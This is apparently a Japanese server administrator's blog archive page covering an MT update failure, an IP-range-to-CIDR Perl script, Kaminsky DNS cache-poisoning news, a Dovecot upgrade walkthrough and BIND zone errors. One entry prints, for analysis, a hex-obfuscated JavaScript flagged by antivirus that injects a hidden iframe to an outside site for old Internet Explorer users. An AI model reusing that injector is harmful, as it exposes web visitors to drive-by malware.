サーバー構築の最近のブログ記事

MTのアップデートが上手く行きません。

症状は
１）Widgetが表示されなくなる
２）スタイルシートが読み込まれない

調べてみたけど、結局原因までたどり着けなくて、フルリストア。
残念なり。
もちっと調べてみないと。あかん。

IPアドレス（レンジ表記）をサブネット表記に置き換えるスクリプトですが、副産物と言うべきか、できたものがこれ。
ip.zip

使い方ですが

D:\src>ip.pl -s 10.1.0.0 -e 10.11.200.255
10.1.0.0/16
10.2.0.0/15
10.4.0.0/14
10.8.0.0/15
10.10.0.0/16
10.11.0.0/17
10.11.128.0/18
10.11.192.0/21
10.11.200.0/24

D:\src>ip.pl -s 192.1.0.0 -e 192.20.255.199
192.1.0.0/16
192.2.0.0/15
192.4.0.0/14
192.8.0.0/13
192.16.0.0/14
192.20.0.0/17
192.20.128.0/18
192.20.192.0/19
192.20.224.0/20
192.20.240.0/21
192.20.248.0/22
192.20.252.0/23
192.20.254.0/24
192.20.255.0/25
192.20.255.128/26
192.20.255.192/29

こんな感じで、10.1.0.0から10.11.200.255をサブネット表記するにはこうしたらいいというリストを出してくれます（2つ目は192.1.0.0から192.20.255.199の例）。ネットワークなんて触ってると、ルーティングテーブルとかACLとかで、オーバーヘッド（ペナルティ）を減らしたいという意図からできる限り行数を短くしたい事も多いし、この機会に作っておこうとか、そんな感じですが。
ま、そもそもIPアドレス設計の段階で考慮されていればこんな涙ぐましい努力は必要無いんですけど、現実問題としては既に存在するネットワークをどうこうするという話が多いわけで、過渡期的にぐちゃぐちゃなネットワークになってしまう事なんて良くある話で。ま、そんな意味では必要悪というか仕方ないというか。。。

CERT以上に面白い情報があったので。

yebo blogのBIND 9のDNSキャッシュ汚染の可能性

Slashdot "DNS Forgery Pharming" によると、OpenBSDは10年前にID予測問題にパッチを当てていた(BIND Vulnerabilities and Solutions)。ISCのプログラマがこのパッチを採用していれば... と。OpenBSDに入っているBINDのREADME.OpenBSDを見ると、「オリジナルBINDが採用しているLFSRが安全であると証明されるまで、IDの生成はLCG (Linear Congruential Generator)を使用する」とある。ウィキペディアでは、LFSRは数学的に解析が容易であるため、そのまま暗号に使用することを推奨されない、との記述も。

ポイントはこの記事が２００７年７月の記事という点。

で、DNSの生みの親・モカペトリス氏が語る、キャッシュポイズニング脆弱性の現状

ソースポートランダム化による防御も突破されている　
この攻撃に対しては、20世紀から有効とされてきた、DNSの基本的な防御手段も大幅に無効化してしまうという。「DNSは一般的に、情報タイムアウト （TTL）、クエリの処理待ち（Q）、レスポンスのマッチング（ID）の3階層の防壁により保護されている。TTLでサーバーは保持していないデータのみ を受け入れ、Qで処理待ちのクエリがある場合にのみレスポンスを受け入れ、IDで正しいIPアドレス・ポート・16ビットIDフィールドからのレスポンス のみを受け入れる」（同氏）。こうした手法により保護されてきたDNSだが、TTL防御を突破するために存在しないネームで攻撃するなど、キャッシュポイ ズニング攻撃の手法も洗練化が進んでしまった。
　「カミンスキー脆弱性を突く攻撃では、さらにQ防御も破られてしまい、残されたのはID防御のみとなってしまった。しかし、これも総当たり攻撃を行えば、いつかはレスポンスのマッチングが取られ、不正なレスポンスが受け入れられてしまうことになる」

根本的にDNSSECの導入が普通のことになるまで、持つのだろうか・・・？




# 追記
https://www.netsecurity.ne.jp/2_11913.html

某ゲートウェイ型アンチウイルスで引っかかった人が。

ログを確認すると
Found virus Mal_Hifrm-2 in file clickzsframe.htm
とか出てる。

確認してみると・・・

<script>
    var s='3C696672616D65207372633D22687474703A2F2F7777772E726564686F742D6D696C66732E636F6D2F73742F7468756D62732F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E';
    var o='';
    for(i=0;i<s.length;i=i+2) {
        var c=String.fromCharCode(37);
        o=o+c+s.substr(i,2);
    }
    var v=navigator.userAgent.toLowerCase();
    if ((v.indexOf('msie 6.0') != -1 || v.indexOf('msie 5.') != -1) && v.indexOf('msie 7.') == -1 && v.indexOf('nt 6.') == -1){
        document.write(unescape(o));
    }
</script>

こんなJavaScriptが。
document.write();の部分を調べたかったので、一応確認。

Dovecot バージョンアップ0.99-14 → 1.0.15

複数アカウントを使っているユーザがPOP3でメールを受信すると、アカウントの内、いくつかがログインに失敗するという事で検証環境で調べたところ、0.99-14のバグという事が判明した。
（かなり古いバージョンで稼働してたけど・・・一度動き出してしまうと、なかなか止められないのです。それなりのユーザ数が居ると）


以下　バージョンアップのメモ


0.99での設定（dovecot.conf）

$ egrep -v '^ *(#|$)' /usr/local/etc/dovecot.conf
base_dir = /var/run/dovecot/
protocols = pop3 imap
imap_listen = 10.1.1.52:143
pop3_listen = 10.1.1.52:110
log_path = /var/log/dovecot
info_log_path =  /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "
login = imap
login_process_size = 32
login_process_per_connection = no
login_processes_count = 8
login_max_processes_count = 500
login = pop3
login_executable = /usr/local/libexec/dovecot/pop3-login
max_mail_processes = 512
first_valid_uid = 90
last_valid_uid = 60099
default_mail_env = maildir:/%h/Maildir
imap_executable = /usr/local/libexec/dovecot/imap
auth = default
auth_mechanisms = plain
auth_userdb = passwd
auth_passdb = pam
auth_user = root

バージョンアップだと、ドキュメント通りというか設定ファイルは引き継がれないのでいくつか修正が必要になる。


エラー（１）：起動しない
# Error: Error in configuration file /usr/local/etc/dovecot.conf line 26: Unknown setting: imap_listen
Fatal: Invalid configuration in /usr/local/etc/dovecot.conf


dovecot.confファイルを新規に作成した。

# cp dovecot-example.conf dovecot.conf

変更点は以下の通り・・・

protocols = pop3 imap
listen = 10.1.1.1
ssl_disable = yes
pop3_uidl_format =  %v.%u

エラー（２）：pop3でログインできず

# telnet 10.1.1.1 110
Trying 10.1.1.1...
Connected to 10.1.1.1.
Escape character is '^]'.
+OK Dovecot ready.
user hogehoge
-ERR Plaintext authentication disallowed on non-secure connections.

変更点は以下の通り

disable_plaintext_auth = no

エラー（３）：pop3でログインできず

# telnet 10.1.1.1 110
Trying 10.1.1.1...
Connected to 10.1.1.1.
Escape character is '^]'.
+OK Dovecot ready.
user hogehoge
+OK
pass hogehoge
-ERR [IN-USE] Internal login failure. Refer to server log for more information.
Connection to 10.1.1.1 closed by foreign host.

何が起こっているのかを調べるためにログ出力を追加

log_path = /var/log/dovecot
info_log_path = /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "

こんなログを確認

Info: Dovecot v1.0.15 starting up
Error: user hoge0001: Logins with UID 103 not permitted (see first_valid_uid in config file).
Info: pop3-login: Internal login failure: user=<hoge0001>, method=PLAIN, rip=10.1.1.11, lip=10.1.1.1

以下の設定を追加

first_valid_uid = 90
last_valid_uid = 60099

Dovecot1.0.15での最終的な設定

protocols = pop3 imap
listen = 10.1.1.52
disable_plaintext_auth = no
log_path = /var/log/dovecot
info_log_path = /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "
ssl_disable = yes
first_valid_uid = 90
last_valid_uid = 60099
protocol imap {
}
protocol pop3 {
  pop3_uidl_format =  %v.%u
}
protocol lda {
  postmaster_address = postmaster@example.com
}
auth default {
  mechanisms = plain
  passdb pam {
  }
  userdb passwd {
  }
  user = root
}
dict {
}
plugin {
}

一応動きますという程度です。ここからパフォーマンス絡みだったり、セキュリティ絡みの部分で細かいチューニングを行います。

GNU Common LispをSolaris9（SPARC）にインストール。

GNUから拾ってきてサクッとインストール・・・のはずだったけど。。。

DNSの脆弱性の件。なんだか大ごとになってますね。。

http://itpro.nikkeibp.co.jp/article/NEWS/20080725/311531/

今回の脆弱性を発見したのは、セキュリティ研究者のダン・カミンスキー氏。同氏は、2008年8月に開催されるセキュリティ会議「Black Hat」において、今回の脆弱性を発表する予定で、それまでは脆弱性の詳細を公表しない予定だった。

　しかしながら2008年7月22日、脆弱性の詳細が予定外に公開されてしまった。そして今回、この脆弱性を悪用するためのプログラム（攻撃コード）も公 開されたという。このプログラムを使えば、キャッシュポイズニング攻撃が容易に行えるとされている。実際、米サンズ・インスティチュートによれば、今回の 脆弱性を悪用した攻撃が既に確認されているという情報もあるという。

　同じくサンズ・インスティチュートによれば、7月24日に開催されたBlack HatのWebセミナーにおいてカミンスキー氏は、本来はBlack Hat本番で明らかにする予定だった脆弱性の詳細を発表。カミンスキー氏の実験では、今回の脆弱性を突けば、5秒から10秒でDNS情報を改ざんできたと している。

という事で正式発表前に脆弱性の詳細が漏れてしまったことから、攻撃ツールが出回ってしまい、、、大慌てという感じ。

脆弱性については、DNSクエリのID長が16ビットしかないというプロトコル上の脆弱性に加え、DNSサーバとして動作させている場合にクエリに利用するソースポートを53/udpに固定してしまう事で、キャッシュポイズニングの危険性が高くなるというもの。加えて、ポートが固定されていなくても、ソースポートの利用がランダムに行われない場合はクライアントでもその危険性が高くなる・・・とされている。サーバもクライアントも対策が必要となると、かなり大がかりな変更が必要になると言うことで、、あちこちでかなりの大慌てという状況らしい。

ダン・カミンスキー氏のサイトにDNSチェッカーが設置されていて、今回の脆弱性が該当するかのチェックが行えるようになっています。

実行結果
Your name server, at 133.205.66.14, appears to be safe, but make sure the ports listed below aren't following an obvious pattern (:1001, :1002, :1003, or :30000, :30020, :30100...).

---

Requests seen for 2d1b6b972008.doxdns5.com:
133.205.66.14:3539 TXID=24954
133.205.66.14:46741 TXID=42778
133.205.66.14:24932 TXID=50670
133.205.66.14:29625 TXID=10359
133.205.66.14:10335 TXID=13083
↑OKですね。

英語ですが、こんな感じで利用中のDNSサーバをチェックしてくれます。




あと、情報は以下のサイトで。

日経

US-CERT VU#800113

JPCERT/CC JPCERT-AT-2008-0014

JPRS 複数のDNSソフトウェアにおけるキャッシュポイズニングの脆弱性について

JVN JVNVU#800113

ISC BIND Vulnerabilities

マイクロソフト セキュリティ情報 MS08-037





ちなみに自分の管理してるところはとっくに対策済み。結局BINDも9.5.0-P1ではパフォーマンス低下の問題が出たようで、すぐさま9.5.0-P2が出されるなど、いつものグダグダっぷりが発揮されたようだけど。

BINDのバージョンアップ時・・・
BINDは動くけれども、自分で持っているハズのzoneが返ってこないという症状に。

Aug  6 23:26:40 dns named[5248]: [ID 873579 daemon.error] dns_rdata_fromtext: 192.168.100.rev:15: near '100_254.hogehoge.co.jp.': bad name (check-names)
Aug  6 23:26:40 dns named[5248]: [ID 873579 daemon.error] zone 100.168.192.in-addr.arpa/IN: loading from master file 192.168.2.rev failed: bad name (check-names)

こんなログが吐かれていました。

・・・で調べたのですが、エイジの気まぐれ日記　BINDで名前解決ができないに同じ話がありました。

BIND9.3.1以降はRFC952に書かれている通りというか、ホスト名に「_」（アンダーバー）が使えない・・・がデフォルトになっているようです。
named.confのzoneの定義部分に

check-names ignore;

と書いて、チェックを緩くするといいらしい・・・。

BINDも・・・か。
半月ほど前にVerUPしたばっかりだってのに。。。

コイツもバージョンアップ・・・か。

本番機のバージョンアップをリモートで作業するのは正直、かなり怖いものがある。
ミスった時のダメージも大きいし。（ミスった後でJRで行っても、それなりの時間ダウンしてしまう・・・）
だから、事前に検証機で検証してから、本番機の方で作業するようにはしてるんだけど・・・。